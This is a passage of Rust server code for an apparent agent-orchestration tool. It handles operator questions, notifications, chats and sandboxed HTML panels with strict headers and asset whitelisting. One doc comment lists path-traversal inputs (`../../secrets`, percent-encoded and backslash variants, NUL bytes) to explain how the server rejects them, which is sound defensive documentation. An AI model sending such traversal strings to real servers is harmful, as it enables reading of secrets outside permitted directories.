7146            .any(|p| !ids.insert(p.id))
7147        || comparison
7148            .fields
7149            .iter()
7150            .flat_map(|f| &f.original_triggers)
7151            .any(|t| !ids.insert(t.id))
7152    {
7153        return None;
7154    }
7155    let fields = comparison
7156        .fields
7157        .iter()
7158        .map(|f| f.view(comparison.excerpt))
7159        .collect::<Option<Vec<_>>>()?;
7160    Some(PostingView {
7161        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7162        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7163        fields,
7164    })
7165}
7166
7167impl QuestionView {
7168    /// The view of `question`, reading who is waiting on it from `store`.
7169    ///
7170    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7171    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7172        let base = md::ImageBase::QuestionPanel {
7173            id: question.id.clone(),
7174        };
7175        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7176        Self {
7177            choice_effects: question
7178                .choices
7179                .iter()
7180                .filter_map(|c| {
7181                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7182                })
7183                .collect(),
7184            record_revision: question_record_revision(&question),
7185            detail_md: md::to_nodes(&question.detail, &base),
7186            posting_view: posting_view(&question, &base),
7187            thread_bodies_md: question
7188                .thread
7189                .iter()
7190                .map(|t| md::to_nodes(&t.body, &base))
7191                .collect(),
7192            thread_notes_md: question
7193                .thread
7194                .iter()
7195                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7196                .collect(),
7197            deputy_exhausted: store.deputy_exhausted(&question),
7198            waiting_on_agent: question.waiting_on_agent(),
7199            holder,
7200            deputies_enabled: deputies_enabled(cfg, &question),
7201            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7202            run_is_task: question.run_names_task(),
7203            origin_chat: None,
7204            origin_chat_closed: false,
7205            can_consult_chat: false,
7206            question,
7207        }
7208    }
7209
7210    /// Fill `origin_chat` from the queue and the talks.
7211    fn with_origin(
7212        mut self,
7213        tasks: &[crate::queue::Task],
7214        talks: &[Talk],
7215        watches: &[crate::release_watch::WatchState],
7216    ) -> Self {
7217        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7218        self.can_consult_chat = consult.is_some();
7219        let talk =
7220            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7221        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7222        self.origin_chat = talk.map(|t| t.id);
7223        self
7224    }
7225}
7226
7227/// The config this repository resolves, or `None` when it cannot be read.
7228/// Discovering is git processes plus a config render, so a request that needs
7229/// it for many items takes it once and passes it down.
7230fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7231    Config::discover(repo, None).ok().map(|(c, _)| c)
7232}
7233
7234/// Can `magi serve` start a deputy for this question under `cfg`?
7235fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7236    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7237}
7238
7239/// The views `GET /api/questions` answers. `load` runs at most once, however
7240/// many questions there are, and not at all when there are none.
7241fn question_views(
7242    qs: Vec<Question>,
7243    store: &ask::Questions,
7244    load: impl FnOnce() -> Option<Config>,
7245) -> Vec<QuestionView> {
7246    if qs.is_empty() {
7247        return Vec::new();
7248    }
7249    let cfg = load();
7250    qs.into_iter()
7251        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7252        .collect()
7253}
7254
7255/// Who is honestly waiting on an open question right now: `"asker"` (the
7256/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7257/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7258/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7259/// up, or the question never had anyone listening (a conductor question or a
7260/// merge approval from before deputies, or not yet given one).
7261///
7262/// `None` for a question that is settled, and for one that is not an agent's
7263/// to wait on at all (a release notice).
7264fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7265    if !q.status.open() {
7266        return None;
7267    }
7268    if q.cwd.is_none()
7269        && q.deputy.is_none()
7270        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7271    {
7272        return crate::deputy::kind_of(q).map(|_| "nobody");
7273    }
7274    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7275        Some(_) if q.deputy.is_some() => "deputy",
7276        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7277        Some(_) => "asker",
7278        None => "nobody",
7279    })
7280}
7281
7282/// `GET /api/questions`.
7283///
7284/// Everything, not just the open ones: an answered question is the record of a
7285/// decision, and the phone is where the operator goes back to check what they
7286/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7287async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7288    blocking(move || {
7289        let questions = ui.questions.list();
7290        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7291        Ok(Json(
7292            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7293                .into_iter()
7294                .map(|view| view.with_origin(&tasks, &talks, &watches))
7295                .collect(),
7296        ))
7297    })
7298    .await
7299}
7300
7301/// Question content and answer controls never wait for task/chat provenance.
7302async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7303    blocking(move || {
7304        Ok(Json(question_views(
7305            ui.questions.list(),
7306            &ui.questions,
7307            || deputy_config(&ui.repo),
7308        )))
7309    })
7310    .await
7311}
7312
7313fn question_record_revision(question: &Question) -> String {
7314    use std::hash::{Hash as _, Hasher as _};
7315    let mut hash = std::hash::DefaultHasher::new();
7316    serde_json::to_vec(question)
7317        .expect("serializable question")
7318        .hash(&mut hash);
7319    format!("{:016x}", hash.finish())
7320}
7321
7322#[derive(Serialize)]
7323struct QuestionOriginView {
7324    id: String,
7325    record_revision: String,
7326    origin_chat: Option<String>,
7327    origin_chat_closed: bool,
7328    can_consult_chat: bool,
7329}
7330
7331async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7332    blocking(move || {
7333        let questions = ui.questions.list();
7334        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7335        Ok(Json(
7336            questions
7337                .into_iter()
7338                .map(|question| {
7339                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7340                    let can_consult_chat = consult.is_some();
7341                    let talk = crate::consult::associated_talk_with_watches(
7342                        &tasks, &talks, &question, &watches,
7343                    );
7344                    QuestionOriginView {
7345                        record_revision: question_record_revision(&question),
7346                        id: question.id,
7347                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7348                        origin_chat: talk.map(|talk| talk.id),
7349                        can_consult_chat,
7350                    }
7351                })
7352                .collect(),
7353        ))
7354    })
7355    .await
7356}
7357
7358type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7359
7360/// Only the task ancestry and chats these questions actually reference. Run
7361/// mappings share the reconciled queue index; exact task references bypass it.
7362/// No question means no task/chat I/O, including no index reconciliation.
7363fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7364    fn task_for_run(
7365        ui: &Ui,
7366        index: &mut Option<Vec<Arc<TaskRelation>>>,
7367        run: &str,
7368        loaded: &HashMap<String, Task>,
7369    ) -> ApiResult<Option<Task>> {
7370        if !plain_record_id(run) {
7371            return Ok(None);
7372        }
7373        if index.is_none() {
7374            *index = Some(ui.indexed_tasks()?);
7375        }
7376        Ok(index
7377            .as_ref()
7378            .expect("loaded index")
7379            .iter()
7380            .find(|task| task.runs.iter().any(|id| id == run))
7381            .and_then(|task| {
7382                loaded
7383                    .get(&task.id)
7384                    .cloned()
7385                    .or_else(|| ui.queue.get(&task.id).ok())
7386            })
7387            .filter(|task| task.runs.iter().any(|id| id == run)))
7388    }
7389    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7390        plain_record_id(id)
7391            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7392            .flatten()
7393            .filter(|task| task.id == id)
7394    };
7395    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7396    let mut index = None;
7397    let mut tasks = HashMap::new();
7398    let mut talks = HashMap::new();
7399    for question in questions {
7400        for reference in crate::consult::question_task_refs(question, &watches) {
7401            let mut current = match reference {
7402                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7403                crate::consult::QuestionTaskRef::Run(id) => {
7404                    task_for_run(ui, &mut index, id, &tasks)?
7405                }
7406            };
7407            let mut seen = HashSet::new();
7408            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7409                let Some(task) = current.take() else {
7410                    break;
7411                };
7412                if !seen.insert(task.id.clone()) {
7413                    break;
7414                }
7415                let chat = task.chat_talk().map(str::to_owned);
7416                let followup = task.followup.clone();
7417                tasks.insert(task.id.clone(), task);
7418                if let Some(chat) = chat {
7419                    if plain_record_id(&chat)
7420                        && !talks.contains_key(&chat)
7421                        && let Ok(talk) = ui.talks.get(&chat)
7422                    {
7423                        talks.insert(chat, talk);
7424                    }
7425                    break;
7426                }
7427                let Some(followup) = followup else {
7428                    break;
7429                };
7430                current = match followup.origin_task {
7431                    Some(id) => direct_task(&id, &tasks),
7432                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7433                };
7434            }
7435        }
7436    }
7437    let mut tasks: Vec<Task> = tasks.into_values().collect();
7438    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7439    Ok((tasks, talks.into_values().collect(), watches))
7440}
7441
7442/// `GET /api/notifications`: not dismissed, newest first, with the unread
7443/// count so the badge and the list cannot disagree.
7444async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7445    blocking(move || {
7446        let items = ui.notices.list();
7447        let unread = items.iter().filter(|n| n.unread()).count();
7448        let items: Vec<_> = items
7449            .into_iter()
7450            .map(|n| {
7451                let question = crate::notices::answerable_question(&n, &ui.questions);
7452                let mut item = serde_json::to_value(n)?;
7453                item["answerable_question"] = serde_json::json!(question);
7454                Ok(item)
7455            })
7456            .collect::<anyhow::Result<_>>()?;
7457        Ok(Json(
7458            serde_json::json!({ "unread": unread, "items": items }),
7459        ))
7460    })
7461    .await
7462}
7463
7464fn notice_error(e: anyhow::Error) -> ApiError {
7465    // An unknown or malformed id and a vanished file are the same answer to
7466    // the phone: that notification is gone.
7467    ApiError::not_found(format!("{e:#}"))
7468}
7469
7470/// `POST /api/notifications/{id}/read`.
7471async fn notification_read(
7472    State(ui): State<Arc<Ui>>,
7473    Path(id): Path<String>,
7474) -> ApiResult<Json<Notice>> {
7475    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7476}
7477
7478/// `POST /api/notifications/{id}/dismiss`.
7479async fn notification_dismiss(
7480    State(ui): State<Arc<Ui>>,
7481    Path(id): Path<String>,
7482) -> ApiResult<Json<Notice>> {
7483    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7484}
7485
7486/// `POST /api/notifications/read-all`.
7487async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7488    blocking(move || {
7489        let changed = ui.notices.mark_all_read()?;
7490        Ok(Json(serde_json::json!({ "marked": changed })))
7491    })
7492    .await
7493}
7494
7495/// The body of `POST /api/questions/{id}/answer`.
7496///
7497/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7498/// a bad request rather than a guess: an answer magi invented is worse than a
7499/// question left open.
7500#[derive(Debug, Default, Deserialize)]
7501#[serde(default, deny_unknown_fields)]
7502struct NewAnswer {
7503    choice: Option<String>,
7504    text: Option<String>,
7505}
7506
7507async fn question_answer(
7508    State(ui): State<Arc<Ui>>,
7509    Path(id): Path<String>,
7510    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7511) -> ApiResult<Json<QuestionView>> {
7512    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7513    let answer = match (body.choice, body.text) {
7514        (Some(c), None) => Answer::Choice(c),
7515        (None, Some(t)) => Answer::Text(t),
7516        (Some(_), Some(_)) => {
7517            return Err(ApiError::bad_request(
7518                "send either `choice` or `text`, not both",
7519            ));
7520        }
7521        (None, None) => {
7522            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7523        }
7524    };
7525
7526    blocking(move || {
7527        let id = resolve_question(&ui.questions, &id)?;
7528        let q = ui
7529            .questions
7530            .get(&id)
7531            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7532        if !q.status.open() {
7533            // Answered from the terminal, or by another phone, in between the
7534            // list and the tap. The UI shows the recorded answer rather than an
7535            // error, so it needs the record, not just the status.
7536            return Err(ApiError::conflict(format!(
7537                "question {} is already {}",
7538                q.short(),
7539                q.status.as_str()
7540            )));
7541        }
7542        // `Question::answer` owns the rules - an unoffered choice, free text on
7543        // a multiple-choice question, an empty reply - so the route does not
7544        // restate them and cannot drift from the CLI's behaviour.
7545        let cfg = deputy_config(&ui.repo);
7546        let (q, ()) = ui
7547            .questions
7548            .update(&q.id, |r| r.answer(answer))
7549            .map_err(ApiError::bad_request_from)?;
7550        let (tasks, talks, watches) =
7551            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7552        Ok(Json(
7553            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7554        ))
7555    })
7556    .await
7557}
7558
7559/// A dedicated status avoids the client's settled-question 409 handling.
7560fn question_text_error(e: anyhow::Error) -> ApiError {
7561    let reason = e
7562        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7563        .map(|e| e.reason);
7564    let error = ApiError::bad_request_from(e);
7565    if let Some(reason) = reason {
7566        ApiError {
7567            text_reason: Some(reason),
7568            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7569        }
7570    } else {
7571        error
7572    }
7573}
7574
7575/// The body of `POST /api/questions/{id}/say`.
7576#[derive(Debug, Deserialize)]
7577#[serde(deny_unknown_fields)]
7578struct NewSay {
7579    body: String,
7580}
7581
7582/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
7583///
7584/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
7585/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
7586/// file, so there is no turn to serialize against and no
7587/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
7588/// is a *different* process - the run parked behind `magi ask` - and picks
7589/// the reply up on its own poll of the very same file, same as an answer
7590/// does.
7591async fn question_say(
7592    State(ui): State<Arc<Ui>>,
7593    Path(id): Path<String>,
7594    body: std::result::Result<Json<NewSay>, JsonRejection>,
7595) -> ApiResult<Json<QuestionView>> {
7596    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7597    blocking(move || {
7598        let id = resolve_question(&ui.questions, &id)?;
7599        let q = ui
7600            .questions
7601            .get(&id)
7602            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7603        if !q.status.open() {
7604            // Same granularity as `question_answer`: answered or abandoned in
7605            // between the list and the tap is not this route's error to
7606            // explain any differently.
7607            return Err(ApiError::conflict(format!(
7608                "question {} is already {}",
7609                q.short(),
7610                q.status.as_str()
7611            )));
7612        }
7613        // `Question::say` owns the one rule that matters here - an empty
7614        // message tells the agent nothing - so the route does not restate it.
7615        let cfg = deputy_config(&ui.repo);
7616        let (q, ()) = ui
7617            .questions
7618            .update(&q.id, |r| {
7619                if body.body.trim().is_empty() {
7620                    return r.say(body.body);
7621                }
7622                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7623                r.say(body.body)
7624            })
7625            .map_err(question_text_error)?;
7626        let (tasks, talks, watches) =
7627            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7628        Ok(Json(
7629            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7630        ))
7631    })
7632    .await
7633}
7634
7635/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
7636/// came from. The question stays open: the chat agent answers it with `magi
7637/// answer`, or puts the decision to the owner in the conversation.
7638///
7639/// Answers 202 and runs the turn in the background, like every route that
7640/// spends agent calls. The text is queued as a draft of the existing talk, and
7641/// the turn goes through the talk's own gate and session; no seat or waiter is
7642/// started here.
7643async fn question_consult(
7644    State(ui): State<Arc<Ui>>,
7645    Path(id): Path<String>,
7646) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7647    let (view, reclaimed) = blocking({
7648        let ui = Arc::clone(&ui);
7649        move || {
7650            let id = resolve_question(&ui.questions, &id)?;
7651            let q = ui
7652                .questions
7653                .get(&id)
7654                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7655            if !q.status.open() {
7656                return Err(ApiError::conflict(format!(
7657                    "question {} is already {}",
7658                    q.short(),
7659                    q.status.as_str()
7660                )));
7661            }
7662            let (tasks, talks, watches) = question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7663            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7664                return Err(ApiError::conflict(format!(
7665                    "question {} has no chat to ask",
7666                    q.short()
7667                )));
7668            };
7669            // Read the config before `begin` saves anything: a failure here
7670            // must leave no consult record or draft behind, or a retry would
7671            // see `fresh == false` and never start the turn.
7672            let cfg = if q.consult.is_none() {
7673                Some(Config::discover(&talk.repo, None)?.0)
7674            } else {
7675                None
7676            };
7677            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7678            let claim = if fresh {
7679                match ui.begin_queued_talk_turn(&talk.id)? {
7680                    Some(turn_guard) => {
7681                        let talk = ui.talks.get(&talk.id)?;
7682                        let cfg = match cfg {
7683                            Some(cfg) => cfg,
7684                            None => Config::discover(&talk.repo, None)?.0,
7685                        };
7686                        Some((talk, cfg, turn_guard))
7687                    }
7688                    None => None,
7689                }
7690            } else {
7691                None
7692            };
7693            let q = ui.questions.get(&q.id)?;
7694            let cfg = deputy_config(&ui.repo);
7695            let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7696                .with_origin(&tasks, &talks, &watches);
7697            Ok((view, claim))
7698        }
7699    })
7700    .await?;
7701    if let Some((talk, cfg, turn_guard)) = reclaimed {
7702        let talks = ui.talks.clone();
7703        let id = talk.id.clone();
7704        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7705    }
7706    Ok((StatusCode::ACCEPTED, Json(view)))
7707}
7708
7709/// Expand an id or short id to exactly one question id.
7710fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7711    if plain_record_id(id) && store.path_of(id).is_file() {
7712        return Ok(id.to_owned());
7713    }
7714    pick(
7715        store.list().into_iter().map(|q| q.id).collect(),
7716        id,
7717        "question",
7718    )
7719}
7720
7721/// `GET /api/questions/{id}/panel`.
7722///
7723/// The panel an agent wrote for this question, as `text/html` under
7724/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
7725/// A question without one is a 404 rather than an empty page: the client
7726/// preflights this route with `HEAD` and must be able to tell "no panel" from
7727/// "a panel that rendered blank", and a sandboxed frame is opaque to the
7728/// parent document so it cannot tell the difference by looking.
7729///
7730/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
7731/// sanitises or minifies it - a sanitiser is a list of things someone thought
7732/// of, and the sandbox plus the CSP is a list of things that are allowed, which
7733/// is the direction that stays safe when an agent writes markup nobody
7734/// predicted.
7735async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7736    blocking(move || {
7737        let id = resolve_question(&ui.questions, &id)?;
7738        let Some(html) = ui.questions.panel_html(&id) else {
7739            return Err(ApiError::not_found(format!("question {id} has no panel")));
7740        };
7741        Ok(panel_response(
7742            "text/html; charset=utf-8",
7743            false,
7744            html.into_bytes(),
7745        ))
7746    })
7747    .await
7748}
7749
7750/// `GET /api/questions/{id}/asset/{name}`.
7751///
7752/// One file from the question's own panel directory, so a panel can show a
7753/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7754/// having to allow anything off this machine.
7755///
7756/// This is the only route in the server where a client names a file, so it is
7757/// the only one with a traversal surface, and the name is checked by
7758/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7759/// what is worth being explicit about, because the answer is not "all of it in
7760/// one place":
7761///
7762/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7763///   the raw request path and `{name}` spans exactly one segment, so a real
7764///   slash makes the request too long for the route and the router answers 404.
7765/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7766///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7767///   `..\secrets` respectively, which look like plain filenames to the router.
7768///   The validator refuses them here - both for the literal `..` and because
7769///   `/` and `\` are not in the permitted character set - and answers 400.
7770/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7771///   the platform's path API is not, and it is refused here for the same
7772///   reason: NUL is not a permitted character.
7773/// * [`Questions::panel_asset`] validates again on read, so the check is not
7774///   load-bearing in only one place. This route's own check exists so the
7775///   failure is a 400 that says which name was wrong, rather than a store error
7776///   the operator has to interpret.
7777async fn question_asset(
7778    State(ui): State<Arc<Ui>>,
7779    Path((id, name)): Path<(String, String)>,
7780) -> ApiResult<Response> {
7781    // Before any filesystem work and before any path is built: a name this
7782    // server will not serve should not become a `PathBuf` at all.
7783    if !crate::ask::valid_asset_name(&name) {
7784        return Err(ApiError::bad_request(format!(
7785            "`{name}` is not a usable asset name"
7786        )));
7787    }
7788    blocking(move || {
7789        let id = resolve_question(&ui.questions, &id)?;
7790        let asset = ui
7791            .questions
7792            .panel_asset(&id, &name)
7793            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7794        let Some(bytes) = asset else {
7795            return Err(ApiError::not_found(format!(
7796                "question {id} has no asset `{name}`"
7797            )));
7798        };
7799        Ok(panel_response(
7800            asset_content_type(&name),
7801            is_svg(&name),
7802            bytes,
7803        ))
7804    })
7805    .await
7806}
7807
7808/// Content type for a panel asset, from a closed whitelist.
7809///
7810/// A whitelist with an `application/octet-stream` fallback rather than a
7811/// guess, because the one answer that must never come out of here is
7812/// `text/html`. An agent that writes `notes.html` into its panel directory and
7813/// links it would otherwise get its own markup rendered at the top level of the
7814/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7815/// magi's origin - which is precisely the thing the panel design exists to
7816/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7817///
7818/// `nosniff` accompanies this on every response, so a browser cannot decide it
7819/// knows better than the type we sent.
7820fn asset_content_type(name: &str) -> &'static str {
7821    match extension(name).as_deref() {
7822        Some("png") => "image/png",
7823        Some("jpg" | "jpeg") => "image/jpeg",
7824        Some("gif") => "image/gif",
7825        Some("webp") => "image/webp",
7826        Some("svg") => "image/svg+xml",
7827        Some("css") => "text/css; charset=utf-8",
7828        Some("txt") => "text/plain; charset=utf-8",
7829        _ => "application/octet-stream",
7830    }
7831}
7832
7833/// Is this an SVG, and therefore a file that must never be opened at the top
7834/// level?
7835fn is_svg(name: &str) -> bool {
7836    extension(name).as_deref() == Some("svg")
7837}
7838
7839/// Lowercased extension, or `None` for a name without one.
7840fn extension(name: &str) -> Option<String> {
7841    name.rsplit_once('.')
7842        .map(|(_, ext)| ext.to_ascii_lowercase())
7843}
7844
7845/// Every panel response, with the four headers that make it safe and, for an
7846/// SVG, a fifth.
7847///
7848/// One function rather than a header list per handler, because a panel route
7849/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
7850/// model gone, silently, on one of two routes. Adding a third panel route later
7851/// means calling this, and there is nowhere else to build a panel response.
7852///
7853/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
7854/// as an `<img src>` inside the panel that script cannot run - but the asset
7855/// URL is also a plain URL an operator can be talked into opening in a tab,
7856/// where it is a document on magi's own origin. `Content-Disposition:
7857/// attachment` makes the browser download it instead of rendering it, which
7858/// closes that door without taking away the ability to draw a diff. Raster
7859/// images have no such execution surface and are left inline, so tapping a
7860/// screenshot still shows it.
7861fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7862    let mut res = (
7863        [
7864            (header::CONTENT_TYPE, content_type),
7865            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7866            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7867            (header::REFERRER_POLICY, "no-referrer"),
7868        ],
7869        body,
7870    )
7871        .into_response();
7872    if download {
7873        res.headers_mut().insert(
7874            header::CONTENT_DISPOSITION,
7875            HeaderValue::from_static("attachment"),
7876        );
7877    }
7878    res
7879}
7880
7881/// A talk as the phone reads it.
7882///
7883/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
7884/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
7885/// parses markdown itself - and the process-local `thinking` hint.
7886#[derive(Debug, Serialize)]
7887struct TalkView {
7888    #[serde(flatten)]
7889    talk: Talk,
7890    turn_bodies_md: Vec<Vec<md::Node>>,
7891    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
7892    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7893    pending_messages_md: Vec<Option<Vec<md::Node>>>,
7894    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
7895    /// this server process.
7896    ///
7897    /// This is deliberately not durable: another server process cannot see
7898    /// it, and a restarted server must not claim an old turn is live. It is a
7899    /// progress hint rather than proof a reply landed; the transcript remains
7900    /// the source of truth for that.
7901    thinking: bool,
7902    /// Context-window usage, derived per request - see
7903    /// [`talk::context_usage`]. Carried on every talk response (list, detail
7904    /// and each mutation) so the phone needs no extra call or polling.
7905    context: talk::ContextUsage,
7906    /// `[talk] operator_name`, when configured; the Chat labels the
7907    /// operator's turns with it.
7908    operator_name: Option<String>,
7909    /// The active persona's display name; `None` for the default voice.
7910    persona_name: Option<String>,
7911    /// URL of the avatar for the conversation's persona (the default voice
7912    /// included). Server-built; a configured `icon` never reaches the client.
7913    persona_avatar: String,
7914    /// Operator avatar; display only and independent of repository config.
7915    operator_avatar: String,
7916    magi_avatar: String,
7917}
7918
7919impl TalkView {
7920    /// Reads the talk's repository config itself; a config that cannot be
7921    /// read leaves the window unknown but never fails the conversation.
7922    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7923        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7924        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7925    }
7926
7927    /// As [`Self::new`], with the config already in hand (the list reads one
7928    /// per repository, not one per conversation).
7929    fn with_config(
7930        talk: Talk,
7931        thinking: bool,
7932        cfg: Option<&Config>,
7933        home: &FsPath,
7934        cache: &id_links::IndexCache,
7935    ) -> Self {
7936        let references = cache.for_talk(home, &talk);
7937        Self::with_references(talk, thinking, cfg, home, &references)
7938    }
7939
7940    fn with_references(
7941        mut talk: Talk,
7942        thinking: bool,
7943        cfg: Option<&Config>,
7944        home: &FsPath,
7945        references: &id_links::IdIndex,
7946    ) -> Self {
7947        // This owned value is the display DTO; never write it back to the talk store.
7948        let snapshot = talk.clone();
7949        for (index, turn) in talk.turns.iter_mut().enumerate() {
7950            let original = &snapshot.turns[index];
7951            if turn.messages.is_empty() {
7952                if let Some(display) = talk::notice_display(&snapshot, original, None) {
7953                    turn.messages.push(talk::Message {
7954                        sender: Some(talk::Sender::Magi),
7955                        body: original.body.clone(),
7956                        display: Some(display),
7957                        attachments: original.attachments.clone(),
7958                        reply: None,
7959                    });
7960                }
7961            } else {
7962                for (i, message) in turn.messages.iter_mut().enumerate() {
7963                    message.display =
7964                        talk::notice_display(&snapshot, original, original.messages.get(i));
7965                    if message.display.is_some() {
7966                        message.sender = Some(talk::Sender::Magi);
7967                    }
7968                }
7969            }
7970        }
7971        for message in &mut talk.pending_messages {
7972            if message.display.is_none()
7973                && (message.sender == Some(talk::Sender::Magi)
7974                    || snapshot
7975                        .completion_notices
7976                        .iter()
7977                        .any(|r| r.notice == message.body))
7978            {
7979                message.display = crate::prompt::legacy_notice_display(&message.body);
7980                if message.display.is_some() {
7981                    message.sender = Some(talk::Sender::Magi);
7982                }
7983            }
7984        }
7985        if talk.pending_messages.is_empty()
7986            && snapshot
7987                .completion_notices
7988                .iter()
7989                .any(|r| r.notice == talk.pending)
7990            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7991        {
7992            talk.pending_messages.push(talk::Message {
7993                sender: Some(talk::Sender::Magi),
7994                display: Some(display),
7995                body: talk.pending.clone(),
7996                attachments: talk.pending_attachments.clone(),
7997                reply: None,
7998            });
7999        }
8000        let excerpts: Vec<Vec<Option<String>>> = talk
8001            .turns
8002            .iter()
8003            .map(|turn| {
8004                turn.messages
8005                    .iter()
8006                    .map(|m| {
8007                        m.display
8008                            .as_ref()
8009                            .map(|d| d.facts.chars().take(240).collect())
8010                    })
8011                    .collect()
8012            })
8013            .collect();
8014        for turn in &mut talk.turns {
8015            let provenance = talk::sender(turn, None);
8016            turn.sender = Some(provenance);
8017            for message in &mut turn.messages {
8018                message.sender = Some(message.sender.unwrap_or(provenance));
8019            }
8020        }
8021        // Old reply snapshots have only a role; recover provenance from their target.
8022        let senders: Vec<Vec<talk::Sender>> = talk
8023            .turns
8024            .iter()
8025            .map(|turn| {
8026                if turn.messages.is_empty() {
8027                    vec![talk::sender(turn, None)]
8028                } else {
8029                    turn.messages
8030                        .iter()
8031                        .map(|m| talk::sender(turn, Some(m)))
8032                        .collect()
8033                }
8034            })
8035            .collect();
8036        for reply in talk
8037            .turns
8038            .iter_mut()
